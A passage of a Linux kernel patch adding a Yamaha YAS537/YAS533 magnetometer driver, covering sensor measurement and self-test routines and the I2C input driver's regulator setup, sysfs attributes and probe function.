(yas_single_write(YAS537_REG_TRMR, 0xff) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (update_intrvlr(driver.delay) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_single_write(YAS537_REG_AVRR, 0x70 | driver.average) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_single_write(YAS537_REG_CONFR, 0x08) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + /* FIXME */ + return YAS_NO_ERROR; +} + +static int single_read(int ldtc, int fors, int *bad, int *busy, uint16_t *t, + uint16_t *xy1y2, int *ouflow) +{ + if (start_yas537(ldtc, fors, 0) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + driver.cbk.usleep(measure_time_worst[driver.average]); + if (read_yas537(bad, busy, t, xy1y2, ouflow) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + return YAS_NO_ERROR; +} + +static void xy1y2_to_xyz(uint16_t *xy1y2, int32_t *xyz) +{ + xyz[0] = (xy1y2[0] - 8192) * 300; + xyz[1] = (xy1y2[1] - xy1y2[2]) * 1732 / 10; + xyz[2] = (-xy1y2[1] - xy1y2[2] + 16384) * 300; +} + +static int yas_cdrv_sensitivity_measuremnet(int32_t *sx, int32_t *sy) +{ + uint16_t p[3], m[3], xy1y2[3], t; + struct yas_cal *c = &driver.cal; + int busy, flowon = 0, flowoff = 0, bad, rt, i; + rt = single_read(1, 0, &bad, &busy, &t, xy1y2, &flowon); + if (rt < 0) + return rt; + if (busy) + return YAS_ERROR_BUSY; + for (i = 0; i < 3; i++) + p[i] = driver.last_raw[i]; + rt = single_read(1, 1, &bad, &busy, &t, xy1y2, &flowoff); + if (rt < 0) + return rt; + if (busy) + return YAS_ERROR_BUSY; + for (i = 0; i < 3; i++) + m[i] = driver.last_raw[i]; + *sx = c->k * 128 * (p[0] - m[0]) / 8192 * 300 / YAS_MAG_VCORE; + *sy = c->k * (c->a5 * (p[1] - m[1]) - c->a9 * (p[2] - m[2])) / 8192 + * 1732 / YAS_MAG_VCORE / 10; + return flowon | flowoff; +} + +static int yas_get_position(void) +{ + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + return driver.position; +} + +static int yas_set_position(int position) +{ + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + if (position < 0 || 7 < position) + return YAS_ERROR_ARG; + if (position == YAS537_MAG_NOTRANS_POSITION) + driver.transform = NULL; + else + driver.transform = YAS537_TRANSFORMATION[position]; + driver.position = position; + return YAS_NO_ERROR; +} + +static int yas_measure(struct yas_data *data, int num, int *ouflow) +{ + int32_t xyz_tmp[3]; + int i, busy, bad; + uint16_t t, xy1y2[3]; + uint32_t tm; + *ouflow = 0; + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + if (data == NULL || num < 0) + return YAS_ERROR_ARG; + if (driver.cbk.current_time == NULL) + driver.current_time += (uint32_t)driver.delay; + if (num == 0) + return 0; + if (!driver.enable) + return 0; + if (read_yas537(&bad, &busy, &t, xy1y2, ouflow) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + xy1y2_to_xyz(xy1y2, data->xyz.v); + if (driver.transform != NULL) { + for (i = 0; i < 3; i++) { + xyz_tmp[i] = driver.transform[i*3] * data->xyz.v[0] + + driver.transform[i*3+1] * data->xyz.v[1] + + driver.transform[i*3+2] * data->xyz.v[2]; + } + set_vector(data->xyz.v, xyz_tmp); + } + for (i = 0; i < 3; i++) { + data->xyz.v[i] -= data->xyz.v[i] % 10; + if (*ouflow & (1<<(i*2))) + data->xyz.v[i] += 1; /* set overflow */ + if (*ouflow & (1<<(i*2+1))) + data->xyz.v[i] += 2; /* set underflow */ + } + tm = curtime(); + data->type = YAS_TYPE_MAG; + if (driver.cbk.current_time) + data->timestamp = tm; + else + data->timestamp = 0; + data->accuracy = 0; + if (busy) + return YAS_ERROR_BUSY; + switch (driver.measure_state) { + case YAS537_MAG_STATE_INIT_COIL: + tm = curtime(); + if (tm - driver.invalid_data_time < YAS537_MAG_INITCOIL_TIMEOUT) + break; + driver.invalid_data_time = tm; + if (yas_single_write(YAS537_REG_CONFR, 0x08) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + driver.measure_state = YAS537_MAG_STATE_RECORD_DATA; + break; + case YAS537_MAG_STATE_RECORD_DATA: + if (bad) + break; + set_vector(driver.last_after_rcoil, xy1y2); + driver.measure_state = YAS537_MAG_STATE_NORMAL; + /* FALLTHRU */ + case YAS537_MAG_STATE_NORMAL: + if (0 < *ouflow || invalid_magnetic_field(xy1y2, + driver.last_after_rcoil)) { + if (!driver.invalid_data) + driver.invalid_data_time = tm; + driver.invalid_data = 1; + driver.measure_state = YAS537_MAG_STATE_INIT_COIL; + for (i = 0; i < 3; i++) { + if (!*ouflow) + data->xyz.v[i] += 3; + } + } else + driver.invalid_data = 0; + break; + } + return 1; +} + +static int yas_measure_wrap(struct yas_data *data, int num) +{ + int ouflow; + return yas_measure(data, num, &ouflow); +} + +static int yas_get_delay(void) +{ + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + return driver.delay; +} + +static int yas_set_delay(int delay) +{ + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + if (delay < 0) + return YAS_ERROR_ARG; + driver.delay = delay; + if (!driver.enable) + return YAS_NO_ERROR; + yas_set_enable(0); + yas_set_enable(1); + return YAS_NO_ERROR; +} + +static int yas_get_enable(void) +{ + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + return driver.enable; +} + +static int yas_set_enable(int enable) +{ + int rt = YAS_NO_ERROR; + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + enable = !!enable; + if (driver.enable == enable) + return YAS_NO_ERROR; + if (enable) { + if (yas_open() < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + rt = reset_yas537(); + if (rt < 0) { + driver.cbk.device_close(YAS_TYPE_MAG); + return rt; + } + if (cont_start_yas537() < 0) { + driver.cbk.device_close(YAS_TYPE_MAG); + return YAS_ERROR_DEVICE_COMMUNICATION; + } + } else { + yas_single_write(YAS537_REG_SRSTR, 0x02); + driver.cbk.device_close(YAS_TYPE_MAG); + } + driver.enable = enable; + return rt; +} + +static int yas_ext(int32_t cmd, void *p) +{ + struct yas537_self_test_result *r; + struct yas_data data; + int32_t *xyz; + int8_t average, *hard_offset; + int rt, i, enable, ouflow, bad, busy; + uint16_t t, xy1y2[3]; + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + if (p == NULL) + return YAS_ERROR_ARG; + switch (cmd) { + case YAS537_SELF_TEST: + r = (struct yas537_self_test_result *) p; + r->id = driver.dev_id; + enable = driver.enable; + if (!enable) { + if (yas_open() < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + } + rt = reset_yas537(); + if (rt < 0) + goto self_test_exit; + rt = single_read(0, 0, &bad, &busy, &t, xy1y2, &ouflow); + if (rt < 0) + goto self_test_exit; + if (busy) { + rt = YAS_ERROR_BUSY; + goto self_test_exit; + } + xy1y2_to_xyz(xy1y2, r->xyz); + for (i = 0; i < 3; i++) + r->xyz[i] = r->xyz[i] / 1000; + if (ouflow & YAS_OVERFLOW) { + rt = YAS_ERROR_OVERFLOW; + goto self_test_exit; + } + if (ouflow & YAS_UNDERFLOW) { + rt = YAS_ERROR_UNDERFLOW; + goto self_test_exit; + } + if (r->xyz[0] == 0 && r->xyz[1] == 0 && r->xyz[2] == 0) { + rt = YAS_ERROR_DIRCALC; + goto self_test_exit; + } + r->dir = 99; + rt = yas_cdrv_sensitivity_measuremnet(&r->sx, &r->sy); + if (rt < 0) + goto self_test_exit; + if (rt & YAS_OVERFLOW) { + rt = YAS_ERROR_OVERFLOW; + goto self_test_exit; + } + if (rt & YAS_UNDERFLOW) { + rt = YAS_ERROR_UNDERFLOW; + goto self_test_exit; + } + rt = YAS_NO_ERROR; +self_test_exit: + if (enable) + cont_start_yas537(); + else + driver.cbk.device_close(YAS_TYPE_MAG); + return rt; + case YAS537_SELF_TEST_NOISE: + xyz = (int32_t *) p; + enable = driver.enable; + if (!enable) { + rt = yas_set_enable(1); + if (rt < 0) + return rt; + } + rt = yas_measure(&data, 1, &ouflow); + if (rt < 0) { + if (!enable) + yas_set_enable(0); + return rt; + } + xyz[0] = driver.last_raw[0] - 8192; + xyz[1] = driver.last_raw[1] - driver.last_raw[2]; + xyz[2] = 16384 - driver.last_raw[1] - driver.last_raw[2]; + if (!enable) + yas_set_enable(0); + return YAS_NO_ERROR; + case YAS537_GET_LAST_RAWDATA: + for (i = 0; i < 4; i++) + ((uint16_t *) p)[i] = driver.last_raw[i]; + return YAS_NO_ERROR; + case YAS537_GET_AVERAGE_SAMPLE: + *(int8_t *) p = driver.average; + return YAS_NO_ERROR; + case YAS537_SET_AVERAGE_SAMPLE: + average = *(int8_t *) p; + if (average < 0 || 3 < average) + return YAS_ERROR_ARG; + driver.average = average; + if (!driver.enable) + return YAS_NO_ERROR; + yas_set_enable(0); + yas_set_enable(1); + return YAS_NO_ERROR; + case YAS537_GET_HW_OFFSET: + hard_offset = (int8_t *) p; + for (i = 0; i < 3; i++) + hard_offset[i] = driver.hard_offset[i]; + return YAS_NO_ERROR; + default: + break; + } + return YAS_ERROR_ARG; +} + +static int yas_init(void) +{ + int i; + uint8_t data; + if (driver.initialized) + return YAS_ERROR_INITIALIZE; + if (yas_open() < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_read(YAS537_REG_DIDR, &data, 1) < 0) { + driver.cbk.device_close(YAS_TYPE_MAG); + return YAS_ERROR_DEVICE_COMMUNICATION; + } + driver.dev_id = data; + if (driver.dev_id != YAS537_DEVICE_ID) { + driver.cbk.device_close(YAS_TYPE_MAG); + return YAS_ERROR_CHIP_ID; + } + driver.cbk.device_close(YAS_TYPE_MAG); + + driver.measure_state = YAS537_MAG_STATE_NORMAL; + if (driver.cbk.current_time) + driver.current_time = driver.cbk.current_time(); + else + driver.current_time = 0; + driver.invalid_data = 0; + driver.invalid_data_time = driver.current_time; + driver.position = YAS537_MAG_NOTRANS_POSITION; + driver.delay = YAS_DEFAULT_SENSOR_DELAY; + driver.enable = 0; + driver.transform = NULL; + driver.record_data = 0; + driver.average = YAS537_MAG_AVERAGE_32; + for (i = 0; i < 3; i++) { + driver.hard_offset[i] = -128; + driver.last_after_rcoil[i] = 0; + } + for (i = 0; i < 4; i++) + driver.last_raw[i] = 0; + driver.initialized = 1; + return YAS_NO_ERROR; +} + +static int yas_term(void) +{ + int rt; + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + rt = yas_set_enable(0); + driver.initialized = 0; + return rt; +} + +int yas_mag_driver_init(struct yas_mag_driver *f) +{ + if (f == NULL || f->callback.device_open == NULL + || f->callback.device_close == NULL + || f->callback.device_read == NULL + || f->callback.device_write == NULL + || f->callback.usleep == NULL + ) + return YAS_ERROR_ARG; + f->init = yas_init; + f->term = yas_term; + f->get_delay = yas_get_delay; + f->set_delay = yas_set_delay; + f->get_enable = yas_get_enable; + f->set_enable = yas_set_enable; + f->get_position = yas_get_position; + f->set_position = yas_set_position; + f->measure = yas_measure_wrap; + f->ext = yas_ext; + driver.cbk = f->callback; + yas_term(); + return YAS_NO_ERROR; +} +#endif diff --git a/drivers/input/misc/yas_mag_kernel.c b/drivers/input/misc/yas_mag_kernel.c new file mode 100644 index 0000000000000..c18e22367a5b8 --- /dev/null +++ b/drivers/input/misc/yas_mag_kernel.c @@ -0,0 +1,932 @@ +/* + * Copyright (c) 2014 Yamaha Corporation + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + * MA 02110-1301, USA. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "yas.h" + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 +#define YAS_MSM_NAME "compass" +#define YAS_MSM_VENDOR "Yamaha" +#define YAS_MSM_VERSION (1) +#define YAS_MSM_HANDLE (1) +#define YAS_MSM_TYPE (2) +#define YAS_MSM_MIN_DELAY (10000) +#define YAS_MSM_MAX_RANGE (1200) +#define YAS_MSM_RESOLUTION "1" +#define YAS_MSM_SENSOR_POWER "0.40" +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 +#define YAS_MSM_NAME "compass" +#define YAS_MSM_VENDOR "Yamaha" +#define YAS_MSM_VERSION (1) +#define YAS_MSM_HANDLE (1) +#define YAS_MSM_TYPE (2) +#define YAS_MSM_MIN_DELAY (10000) +#define YAS_MSM_MAX_RANGE (2000) +#define YAS_MSM_RESOLUTION "1" +#define YAS_MSM_SENSOR_POWER "0.28" +#endif + +#define YAS533_VDD_MIN_UV 2000000 +#define YAS533_VDD_MAX_UV 3300000 +#define YAS533_VIO_MIN_UV 1750000 +#define YAS533_VIO_MAX_UV 1950000 + +struct yas533_platform_data { + int dir; + int (*init)(void); + void (*exit)(void); + int (*power_on)(bool); +}; + +static struct i2c_client *this_client; + +struct yas_state { + struct mutex lock; + struct yas_mag_driver mag; + struct input_dev *input_dev; + struct sensors_classdev cdev; + struct delayed_work work; + int32_t poll_delay; + atomic_t enable; + int32_t compass_data[3]; + struct device *dev; + struct class *class; + bool power_on; + struct regulator *vdd; + struct regulator *vio; + struct yas533_platform_data *platform_data; + struct i2c_client *client; +}; +static struct yas_state *pdev_data; +static struct sensors_classdev sensors_cdev = { + .name = "yas533-mag", + .vendor = "Yamaha", + .version = 1, + .handle = SENSORS_MAGNETIC_FIELD_HANDLE, + .type = SENSOR_TYPE_MAGNETIC_FIELD, + .max_range = "1200", + .resolution = "1", + .sensor_power = "0.40", + .min_delay = 10000, + .fifo_reserved_event_count = 0, + .fifo_max_event_count = 0, + .enabled = 0, + .delay_msec = 10000, + .sensors_enable = NULL, + .sensors_poll_delay = NULL, +}; + +static int yas_device_open(int32_t type) +{ + return 0; +} + +static int yas_device_close(int32_t type) +{ + return 0; +} + +static int yas_device_write(int32_t type, uint8_t addr, const uint8_t *buf, + int len) +{ + uint8_t tmp[2]; + int error; + + if (sizeof(tmp) - 1 < len) + return -EPERM; + tmp[0] = addr; + memcpy(&tmp[1], buf, len); + error = i2c_master_send(this_client, tmp, len + 1); + + if (unlikely(error < 0)) { + dev_err(&this_client->dev, "I2C send error: %d\n", error); + return error; + } + return 0; +} + +static int yas_device_read(int32_t type, uint8_t addr, uint8_t *buf, int len) +{ + struct i2c_msg msg[2]; + int err; + msg[0].addr = this_client->addr; + msg[0].flags = 0; + msg[0].len = 1; + msg[0].buf = &addr; + msg[1].addr = this_client->addr; + msg[1].flags = I2C_M_RD; + msg[1].len = len; + msg[1].buf = buf; + err = i2c_transfer(this_client->adapter, msg, 2); + if (err != 2) { + dev_err(&this_client->dev, + "i2c_transfer() read error: " + "slave_addr=%02x, reg_addr=%02x, err=%d\n", + this_client->addr, addr, err); + return err; + } + return 0; +} + +static void yas_usleep(int us) +{ + usleep_range(us, us + 1000); +} + +static uint32_t yas_current_time(void) +{ + return jiffies_to_msecs(jiffies); +} + +static int yas_enable(struct yas_state *st) +{ + struct yas533_platform_data *pdata; + pdata = st->platform_data; + if (pdata->power_on) + pdata->power_on(true); + + if (!atomic_cmpxchg(&st->enable, 0, 1)) { + mutex_lock(&st->lock); + st->mag.set_enable(1); + mutex_unlock(&st->lock); + schedule_delayed_work(&st->work, 0); + } + return 0; +} + +static int yas_disable(struct yas_state *st) +{ + struct yas533_platform_data *pdata; + pdata = st->platform_data; + if (atomic_cmpxchg(&st->enable, 1, 0)) { + cancel_delayed_work_sync(&st->work); + mutex_lock(&st->lock); + st->mag.set_enable(0); + mutex_unlock(&st->lock); + } + + if (pdata->power_on) + pdata->power_on(false); + + return 0; +} + +/* Sysfs interface */ + +static ssize_t yas_position_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + int ret; + mutex_lock(&st->lock); + ret = st->mag.get_position(); + printk("%s, mag.get_position = %d\n", __func__, ret); + mutex_unlock(&st->lock); + if (ret < 0) + return -EFAULT; + return snprintf(buf, PAGE_SIZE, "%d\n", ret); +} + +static ssize_t yas_position_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + int ret, position; + sscanf(buf, "%d\n", &position); + mutex_lock(&st->lock); + ret = st->mag.set_position(position); + printk("%s, mag.set_position = %d\n", __func__, ret); + mutex_unlock(&st->lock); + if (ret < 0) + return -EFAULT; + return count; +} +static int yas_enable_set(struct sensors_classdev *sensors_cdev, + unsigned int enable) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + if (enable) + yas_enable(st); + else + yas_disable(st); + return 0; +} + +static int yas_poll_delay_set(struct sensors_classdev *sensors_cdev, + unsigned int delay_ms) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + if (delay_ms <= 0) + delay_ms = 10; + mutex_lock(&st->lock); + if (st->mag.set_delay(delay_ms) == YAS_NO_ERROR) + st->poll_delay = delay_ms; + mutex_unlock(&st->lock); + + return 0; + +} + + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 +static ssize_t yas_hard_offset_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + int8_t hard_offset[3]; + int ret; + mutex_lock(&st->lock); +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 + ret = st->mag.ext(YAS532_GET_HW_OFFSET, hard_offset); +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 + ret = st->mag.ext(YAS537_GET_HW_OFFSET, hard_offset); +#endif + mutex_unlock(&st->lock); + if (ret < 0) + return -EFAULT; + return snprintf(buf, PAGE_SIZE, "%d %d %d\n", + hard_offset[0], hard_offset[1], hard_offset[2]); +} +#endif + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 +static ssize_t yas_hard_offset_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + int32_t tmp[3]; + int8_t hard_offset[3]; + int ret, i; + sscanf(buf, "%d %d %d\n", &tmp[0], &tmp[1], &tmp[2]); + for (i = 0; i < 3; i++) + hard_offset[i] = (int8_t)tmp[i]; + mutex_lock(&st->lock); + ret = st->mag.ext(YAS532_SET_HW_OFFSET, hard_offset); + mutex_unlock(&st->lock); + if (ret < 0) + return -EFAULT; + return count; +} +#endif + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 + + +static ssize_t yas_mag_average_sample_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + int8_t mag_average_sample; + int ret; + mutex_lock(&st->lock); + ret = st->mag.ext(YAS537_GET_AVERAGE_SAMPLE, &mag_average_sample); + mutex_unlock(&st->lock); + if (ret < 0) + return -EFAULT; + return snprintf(buf, PAGE_SIZE, "%d\n", mag_average_sample); +} + +static ssize_t yas_mag_average_sample_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + int32_t tmp; + int8_t mag_average_sample; + int ret; + sscanf(buf, "%d\n", &tmp); + mag_average_sample = (int8_t)tmp; + mutex_lock(&st->lock); + ret = st->mag.ext(YAS537_SET_AVERAGE_SAMPLE, &mag_average_sample); + mutex_unlock(&st->lock); + if (ret < 0) + return -EFAULT; + return count; +} +#endif + +static ssize_t yas_data_show(struct device *dev, struct device_attribute *attr, + char *buf) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + int32_t last[3], i; + mutex_lock(&st->lock); + for (i = 0; i < 3; i++) + last[i] = st->compass_data[i]; + mutex_unlock(&st->lock); + return snprintf(buf, PAGE_SIZE, "%d %d %d\n", + last[0], last[1], last[2]); +} + + +static DEVICE_ATTR(data, S_IRUGO, yas_data_show, NULL); +static DEVICE_ATTR(position, S_IRUGO|S_IWUSR, yas_position_show, + yas_position_store); +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 +static DEVICE_ATTR(hard_offset, S_IRUGO|S_IWUSR, yas_hard_offset_show, + yas_hard_offset_store); +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 \ +|| YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 + +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 +static DEVICE_ATTR(hard_offset, S_IRUGO|S_IWUSR, yas_hard_offset_show, NULL); +static DEVICE_ATTR(mag_average_sample, S_IRUGO|S_IWUSR, + yas_mag_average_sample_show, yas_mag_average_sample_store); +#endif + +static struct attribute *yas_attributes[] = { + + &dev_attr_data.attr, + &dev_attr_position.attr, +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 + &dev_attr_hard_offset.attr, + +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 + &dev_attr_mag_average_sample.attr, +#endif + NULL +}; +static struct attribute_group yas_attribute_group = { + .attrs = yas_attributes +}; + +static void yas_work_func(struct work_struct *work) +{ + struct yas_state *st + = container_of((struct delayed_work *)work, + struct yas_state, work); + struct yas_data mag[1]; + int32_t poll_delay; + uint32_t time_before, time_after; + int ret, i; + + if(atomic_read(&st->enable) == 0) + return; + + time_before = yas_current_time(); + mutex_lock(&st->lock); + ret = st->mag.measure(mag, 1); + if (ret == 1) { + for (i = 0; i < 3; i++) + st->compass_data[i] = mag[0].xyz.v[i]; + } + poll_delay = st->poll_delay; + mutex_unlock(&st->lock); + if (ret == 1) { + /* report magnetic data in [nT] */ + input_report_abs(st->input_dev, ABS_X, mag[0].xyz.v[0]); + input_report_abs(st->input_dev, ABS_Y, mag[0].xyz.v[1]); + input_report_abs(st->input_dev, ABS_Z, mag[0].xyz.v[2]); + input_sync(st->input_dev); + } + time_after = yas_current_time(); + poll_delay = poll_delay - (time_after - time_before); + if (poll_delay <= 0) + poll_delay = 1; + schedule_delayed_work(&st->work, msecs_to_jiffies(poll_delay)); +} + +/*****************regulator configuration start**************/ +static int sensor_regulator_configure(struct yas_state *data, bool on) +{ + int rc; + + if (!on) { + + if (regulator_count_voltages(data->vdd) > 0) + regulator_set_voltage(data->vdd, 0, + YAS533_VDD_MAX_UV); + + regulator_put(data->vdd); + + if (regulator_count_voltages(data->vio) > 0) + regulator_set_voltage(data->vio, 0, + YAS533_VIO_MAX_UV); + + regulator_put(data->vio); + } else { + data->vdd = regulator_get(&data->client->dev, "vdd"); + if (IS_ERR(data->vdd)) { + rc = PTR_ERR(data->vdd); + dev_err(&data->client->dev, + "Regulator get failed vdd rc=%d\n", rc); + return rc; + } + + if (regulator_count_voltages(data->vdd) > 0) { + rc = regulator_set_voltage(data->vdd, + YAS533_VDD_MIN_UV, YAS533_VDD_MAX_UV); + if (rc) { + dev_err(&data->client->dev, + "Regulator set failed vdd rc=%d\n", + rc); + goto reg_vdd_put; + } + } + + data->vio = regulator_get(&data->client->dev, "vio"); + if (IS_ERR(data->vio)) { + rc = PTR_ERR(data->vio); + dev_err(&data->client->dev, + "Regulator get failed vio rc=%d\n", rc); + goto reg_vdd_set; + } + + if (regulator_count_voltages(data->vio) > 0) { + rc = regulator_set_voltage(data->vio, + YAS533_VIO_MIN_UV, YAS533_VIO_MAX_UV); + if (rc) { + dev_err(&data->client->dev, + "Regulator set failed vio rc=%d\n", rc); + goto reg_vio_put; + } + } + } + + return 0; +reg_vio_put: + regulator_put(data->vio); + +reg_vdd_set: + if (regulator_count_voltages(data->vdd) > 0) + regulator_set_voltage(data->vdd, 0, YAS533_VDD_MAX_UV); +reg_vdd_put: + regulator_put(data->vdd); + return rc; +} + +static int sensor_regulator_power_on(struct yas_state *data, bool on) +{ + int rc = 0; + + if (!on) { + rc = regulator_disable(data->vdd); + if (rc) { + dev_err(&data->client->dev, + "Regulator vdd disable failed rc=%d\n", rc); + return rc; + } + + rc = regulator_disable(data->vio); + if (rc) { + dev_err(&data->client->dev, + "Regulator vio disable failed rc=%d\n", rc); + rc = regulator_enable(data->vdd); + dev_err(&data->client->dev, + "Regulator vio re-enabled rc=%d\n", rc); + /* + * Successfully re-enable regulator. + * Enter poweron delay and returns error. + */ + if (!rc) { + rc = -EBUSY; + goto enable_delay; + } + } + return rc; + } else { + rc = regulator_enable(data->vdd); + if (rc) { + dev_err(&data->client->dev, + "Regulator vdd enable failed rc=%d\n", rc); + return rc; + } + + rc = regulator_enable(data->vio); + if (rc) { + dev_err(&data->client->dev, + "Regulator vio enable failed rc=%d\n", rc); + regulator_disable(data->vdd); + return rc; + } + } + +enable_delay: + msleep(130); + dev_dbg(&data->client->dev, + "Sensor regulator power on =%d\n", on); + return rc; +} + +static int sensor_platform_hw_power_on(bool on) +{ + struct yas_state *data; + int err = 0; + + /* pdev_data is global pointer to struct yas_state */ + if (pdev_data == NULL) + return -ENODEV; + data = pdev_data; + + if (data->power_on != on) { + + err = sensor_regulator_power_on(data, on); + if (err) + dev_err(&data->client->dev, + "Can't configure regulator!\n"); + else + data->power_on = on; + } + + return err; +} + +static int sensor_platform_hw_init(void) +{ + struct i2c_client *client; + struct yas_state *data; + int error; + + if (pdev_data == NULL) + return -ENODEV; + + data = pdev_data; + client = data->client; + + error = sensor_regulator_configure(data, true); + if (error < 0) { + dev_err(&client->dev, "unable to configure regulator\n"); + return error; + } + + return 0; +} + +static void sensor_platform_hw_exit(void) +{ + struct yas_state *data = pdev_data; + + if (data == NULL) + return; + + sensor_regulator_configure(data, false); +} + +static int sensor_parse_dt(struct device *dev, + struct yas533_platform_data *pdata) +{ + int rc; + u32 temp_val; + + struct device_node *np = dev->of_node; + + rc = of_property_read_u32(np, "yamaha,dir", &temp_val); + if (rc && (rc != -EINVAL)) { + dev_err(dev, "Unable to read yamaha dir\n"); + return rc; + } else { + pdata->dir = (u8)temp_val; + } + + pdata->init = sensor_platform_hw_init; + pdata->exit = sensor_platform_hw_exit; + pdata->power_on = sensor_platform_hw_power_on; + + return 0; +} +/******************regulator ends***********************/ + +static ssize_t yas_mag_selftest_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + struct yas532_self_test_result sample; + int test_result; + int32_t ret; + + mutex_lock(&st->lock); + test_result = st->mag.ext(YAS532_SELF_TEST, &sample); + + printk(KERN_ERR"%s, id = %d, xy1y2[0] = %d, xy1y2[1] = %d,xy1y2[2] = %d,dir = %d,sx = %d,sy = %d,xyz[0] = %d,xyz[1] = %d,xyz[2] = %d\n", + __func__, sample.id, sample.xy1y2[0],sample.xy1y2[1],sample.xy1y2[2],sample.dir,sample.sx,sample.sy,sample.xyz[0],sample.xyz[1],sample.xyz[2]); + + if(test_result < 0) + ret = 0; // test fail + else + ret = 1; // test success + + mutex_unlock(&st->lock); + + printk("%s over. test_result = %d, ret = %d\n", __func__, test_result, ret); + + return snprintf(buf, PAGE_SIZE, "%d\n", ret); +} + +static struct kobj_attribute test = +{ + .attr = {"test", 0444}, + .show = yas_mag_selftest_show, +}; + +static const struct attribute *yas_mag_ftm_attrs[] = +{ + &test.attr, + NULL +}; + +static struct dev_ftm yas_mag_ftm; + +static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) +{ + struct yas_state *st = NULL; + struct input_dev *input_dev = NULL; + int ret, i; + struct yas533_platform_data *pdata; + + printk("%s start.", __func__); + + this_client = i2c; + input_dev = input_allocate_device(); + if (input_dev == NULL) { + ret = -ENOMEM; + goto error_ret; + } + + if (i2c->dev.of_node) { + pdata = devm_kzalloc(&i2c->dev, + sizeof(struct yas533_platform_data), + GFP_KERNEL); + if (!pdata) { + dev_err(&i2c->dev, "Failed to allocate memory\n"); + return -ENOMEM; + } + + i2c->dev.platform_data = pdata; + ret = sensor_parse_dt(&i2c->dev, pdata); + if (ret) { + dev_err(&i2c->dev, + "%s: sensor_parse_dt() err\n", __func__); + return ret; + } + } else { + pdata = i2c->dev.platform_data; + if (!pdata) { + dev_err(&i2c->dev, "No platform data\n"); + return -ENODEV; + } + } + + st = kzalloc(sizeof(struct yas_state), GFP_KERNEL); + if (st == NULL) { + ret = -ENOMEM; + goto error_ret; + } + + st->platform_data = pdata; + st->client = i2c; + pdev_data = st; + + i2c_set_clientdata(i2c, st); + + if (pdata->init) + { + ret = pdata->init(); + if(ret) + { + dev_err(&i2c->dev,"pdata->init failed.\n"); + goto exit_kfree; + } + } + + if (pdata->power_on) + { + ret = pdata->power_on(true); + if(ret) + { + dev_err(&i2c->dev,"pdata->power_on failed.\n"); + goto exit_pdata_power_on; + } + } + + input_dev->name = YAS_MSM_NAME; + input_dev->dev.parent = &i2c->dev; + input_dev->id.bustype = BUS_I2C; + 